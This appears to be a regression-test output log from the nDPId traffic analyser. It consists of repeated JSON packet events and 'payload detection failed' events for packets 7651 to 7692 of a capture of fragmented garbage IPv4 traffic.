+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995878,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995918,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995983,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995995,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996007,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 